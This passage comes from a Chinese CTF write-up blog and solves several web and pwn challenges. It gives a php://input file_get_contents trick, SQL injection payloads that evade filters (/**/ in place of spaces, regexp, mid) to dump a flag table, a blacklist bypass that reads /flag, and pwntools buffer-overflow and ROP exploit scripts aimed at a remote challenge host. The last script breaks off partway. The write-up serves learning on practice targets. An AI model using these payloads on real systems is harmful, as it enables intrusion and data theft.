</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nx">show_source</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="k">include</span><span class="p">(</span><span class="s1">&#39;flag.php&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="nv">$a</span><span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s2">&#34;a&#34;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">if</span><span class="p">(</span><span class="nx">isset</span><span class="p">(</span><span class="nv">$a</span><span class="p">)</span><span class="o">&amp;&amp;</span><span class="p">(</span><span class="nx">file_get_contents</span><span class="p">(</span><span class="nv">$a</span><span class="p">,</span><span class="s1">&#39;r&#39;</span><span class="p">))</span> <span class="o">===</span> <span class="s1">&#39;I want flag&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">    <span class="k">echo</span> <span class="s2">&#34;success</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="k">echo</span> <span class="nv">$flag</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>很多时候做不出来，毫无思路，就是因为知识点储备不够，很多利用点即使你不知道原理会用就好，这题我搜了好久关于<code>file_get_contents</code>的技巧，后来发现这题是利用<code>php://input</code>伪协议，它在<code>file_get_contents</code>里，可以直接利用POST传值，这里直接POST值就行，不用写参数名</p>
<p>注意HackBar在POST传值时，若值是无参数名的好像传不过去，这题我纠结好久不明白全对为啥不出flag，BP抓包发现没有post值，所以遇到无参数名POST传值，最好用BP</p>
<p><img
  src="/077813/swpu_PseudoProtocols.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1523" height="824"
/>
</p>
<h3 id="sql">sql<a class="anchor" href="#sql">#</a></h3>
<p>这题见招拆招，测试后发现单引号包裹，过滤了<code>--+</code>，用<code>%23</code>代替，过滤了空格，用<code>/**/</code>代替，过滤<code>=</code>，用regexp代替</p>
<p><strong>测试列数</strong></p>
<p><img
  src="/077813/swpu_sql_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="691" height="382"
/>
</p>
<p>3列正常回显，4列报错，说明只有3列</p>
<p><strong>测试回显点</strong></p>
<p><img
  src="/077813/swpu_sql_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="681" height="377"
/>
</p>
<p>2，3位回显</p>
<p><strong>爆库+爆表</strong></p>
<p>Payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">?</span><span class="n">wllm</span><span class="o">=-</span><span class="mi">1</span><span class="s1">&#39;/**/union/**/select/**/1,database(),(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema/**/regexp&#39;</span><span class="n">test_db</span><span class="s1">&#39;)%23</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/077813/swpu_sql_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1810" height="392"
/>
</p>
<p><strong>爆字段+爆数据</strong></p>
<p>Payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">?</span><span class="n">wllm</span><span class="o">=-</span><span class="mi">1</span><span class="s1">&#39;/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp&#39;</span><span class="n">LTLT_flag</span><span class="s1">&#39;),(select/**/group_concat(flag)from/**/test_db.LTLT_flag)%23</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/077813/swpu_sql_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1715" height="426"
/>
</p>
<p>这里好像限制了输出20位，所以想到使用字符串截断，截取某段进行输出，但是测试后发现<code>substr</code>、<code>substring</code>、<code>left</code>、<code>right</code>、<code>explode</code>都被过滤了，在php手册中找到<code>mid</code>函数，这个没被过滤，调整截取位置即可</p>
<p>第一段flag已经得到：<code>NSSCTF{19791ad8-fbf5</code></p>
<p>第二次爆数据Payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">?</span><span class="n">wllm</span><span class="o">=-</span><span class="mi">1</span><span class="s1">&#39;/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp&#39;</span><span class="n">LTLT_flag</span><span class="s1">&#39;),mid((select/**/group_concat(flag)from/**/test_db.LTLT_flag),17,40)%23</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>第二段flag：<code>fbf5-4e14-bda6-e1b0a</code></p>
<p>第三次爆数据Payload：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-sql" data-lang="sql"><span class="line"><span class="ln">1</span><span class="cl"><span class="o">?</span><span class="n">wllm</span><span class="o">=-</span><span class="mi">1</span><span class="s1">&#39;/**/union/**/select/**/1,(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name/**/regexp&#39;</span><span class="n">LTLT_flag</span><span class="s1">&#39;),mid((select/**/group_concat(flag)from/**/test_db.LTLT_flag),30,50)%23</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">sql</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>第三段flag：<code>6-e1b0a3e10da0}</code></p>
<p>连接起来就行</p>
<h2 id="pwn">PWN<a class="anchor" href="#pwn">#</a></h2>
<blockquote>
<p>pwn入门，编译原理+数据结构+二进制漏洞头疼，5道pwn做出了3道，步骤简单，但有时候一句代码原理纠结一两天</p>
</blockquote>
<h3 id="nc签到">nc签到<a class="anchor" href="#nc签到">#</a></h3>
<p><img
  src="/077813/swpu_ncqd_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="456" height="384"
/>
</p>
<p>nc一堆乱码，IDA打开附件看看</p>
<p><img
  src="/077813/swpu_ncqd_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="289" height="342"
/>
</p>
<p>这是我第一次用到IDA的Hex View,大致意思是黑名单里有一些指令，接收用户输入，如果输入值里含有黑名单里的值，就退出程序，否则就执行，过滤了基本指令和空格，flag一般都在根目录下，<code>tac$IFS/flag</code>即可</p>
<p><img
  src="/077813/swpu_ncqd_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="534" height="416"
/>
</p>
<p>有时候这个bash输入啥都不回显，关掉重新nc即可</p>
<h3 id="gift_pwn">gift_pwn<a class="anchor" href="#gift_pwn">#</a></h3>
<p>标准操作</p>
<p><img
  src="/077813/swpu_gift_pwn_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="717" height="233"
/>
</p>
<p>运行也就一个输入，IDA打开</p>
<p><img
  src="/077813/swpu_gift_pwn_2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1180" height="387"
/>
</p>
<p>就一个vuln()函数，左边列表有gift，是个后门函数，后面会用到，进入vuln函数</p>
<p><img
  src="/077813/swpu_gift_pwn_3.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="511" height="158"
/>
</p>
<p>明显的栈溢出，然后打开gift函数的汇编</p>
<p><img
  src="/077813/swpu_gift_pwn_4.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="819" height="289"
/>
</p>
<p>payload也就是16个填充栈的字符+8字节填充ebp寄存器+ /bin/sh的地址</p>
<p>exp：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">io</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s1">&#39;1.14.71.254&#39;</span><span class="p">,</span><span class="mi">28090</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">bin_sh_addr</span><span class="o">=</span><span class="mh">0x00000000004005C4</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="sa">b</span><span class="s1">&#39;A&#39;</span><span class="o">*</span><span class="p">(</span><span class="mi">16</span><span class="o">+</span><span class="mi">8</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">bin_sh_addr</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p><img
  src="/077813/swpu_gift_pwn_5.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="729" height="289"
/>
</p>
<h3 id="whitegive_pwn">whitegive_pwn<a class="anchor" href="#whitegive_pwn">#</a></h3>
<p>理解好久那个函数偏移量，我理论没错啊，但是exp没用，后来请教了许多pwn佬，才基本理解，总的来说，比上题少了后门，连字符串都没有，所以需要使用ROP(返回导向编程)，这个返回导向我感觉就是用碎片做跳板ret到下一个链子，但是学的时候又有参数，搞得乱了，这题exp能写出来，还是练得少</p>
<p>检查文件</p>
<p><img
  src="/077813/swpu_whitegive_pwn_1.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="719" height="238"
/>
</p>
<p>没开PIE万幸</p>
<p>这次的“gift”是puts函数，用这个函数去输出puts真实地址</p>
<p>整体思路就是，溢出，rop碎片跳转，put的got地址，这一步说是为了初始化，但我感觉是为了调用puts。然后连接puts的plt地址，这个就是参数，程序只有一句输入就结束了，后续操作需要再次运行程序，所以加上main函数地址</p>
<p>随后对返回的puts地址切片填充处理，查找相应libc，计算出libc基址，根据基址计算出system函数以及字符串“\bin\sh”地址。再次发送溢出payload get shell</p>
<p>exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="kn">from</span> <span class="nn">LibcSearcher</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">p</span><span class="o">=</span><span class="n">remote</span><span class="p">(</span><span class="s1">&#39;1.14.71.254&#39;</span><span class="p">,</span><span class="mi">28132</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">e</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s1">&#39;./pwn3&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">put_plt</span><span class="o">=</span><span class="n">e</span><span class="o">.</span><span class="n">plt</span><span class="p">[</span><span class="s1">&#39;puts&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">put_got</span><span class="o">=</span><span class="n">e</span><span class="o">.</span><span class="n">got</span><span class="p">[</span><span class="s1">&#39;puts&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">main_add</span><span class="o">=</span><span class="n">e</span><span class="o">.</span><span class="n">sym</span><span class="p">[</span><span class="s1">&#39;main&#39;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">rdi_add</span><span class="o">=</span><span class="mh">0x0000000000400763</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">p</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;a&#39;</span><span class="o">*</span><span class="mh">0x18</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">rdi_add</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">put_got</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">put_plt</span><span class="p">)</span><span class="o">+</span><span class="n">p64</span><span class="p">(</span><span class="n">main_add</span><span class="p">))</span>
